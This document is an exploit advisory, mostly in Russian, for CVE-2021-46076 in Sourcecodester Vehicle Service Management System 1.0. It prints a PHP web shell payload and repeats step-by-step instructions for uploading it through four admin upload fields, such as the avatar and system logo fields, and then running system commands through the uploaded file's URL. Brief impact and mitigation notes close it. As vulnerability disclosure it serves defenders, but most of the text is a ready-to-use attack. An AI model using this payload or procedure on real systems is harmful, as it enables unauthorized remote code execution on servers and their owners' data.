CVE-2021-46076
Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
References:
Description:
Sourcecodester Vehicle Service Management System 1.0 уязвим к загрузке файлов. Злоумышленник может загрузить вредоносный php-файл в нескольких конечных точках, что приводит к выполнению кода.
1. Vehicle Service Management System - 'Моя учетная запись' (/admin/?page=user)
Exploit:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Моя учетная запись' http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например, под именем Cmd.php
- В разделе 'Моя учетная запись' введите все необходимые данные и выберите php-файл в поле 'Аватар'.
- Нажмите кнопку 'Обновить'.
- Откройте изображение аватара в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все команды системы, например: id, whoami, pwd и т.д.
2. Vehicle Service Management System - 'Список пользователей' (/admin/?page=user/manage_user)
Exploit:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Список пользователей' и нажмите кнопку 'Создать нового'.
Payload:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например, под именем Cmd.php
- На странице 'Создать нового пользователя' введите все необходимые данные и выберите php-файл в поле 'Аватар'.
- Нажмите кнопку 'Сохранить'.
- Откройте изображение аватара в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все команды системы, например: id, whoami, pwd и т.д.
3. Vehicle Service Management System - 'Настройки - Логотип системы' (/admin/?page=system_info)
Exploit:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например, под именем Cmd.php
- В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Логотип системы'.
- Нажмите кнопку 'Обновить'.
- Откройте изображение логотипа системы в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все команды системы, например: id, whoami, pwd и т.д.
4. Vehicle Service Management System - 'Настройки - Обложка сайта' (/admin/?page=system_info)
Exploit:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например, под именем Cmd.php
- В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Обложка сайта'.
- Нажмите кнопку 'Обновить'.
- Откройте изображение обложки сайта в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все команды системы, например: id, whoami, pwd и т.д.
Impact:
Злоумышленник может загрузить вредоносный php-файл в нескольких конечных точках, что приводит к выполнению кода.
Mitigation:
Рекомендуется реализовать следующее:
- Никогда не принимайте имя файла и его расширение напрямую без использования белого списка фильтров.
- Если нет необходимости в использовании символов Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Загруженная директория не должна иметь права на выполнение.
- Не полагайтесь только на проверку на стороне клиента.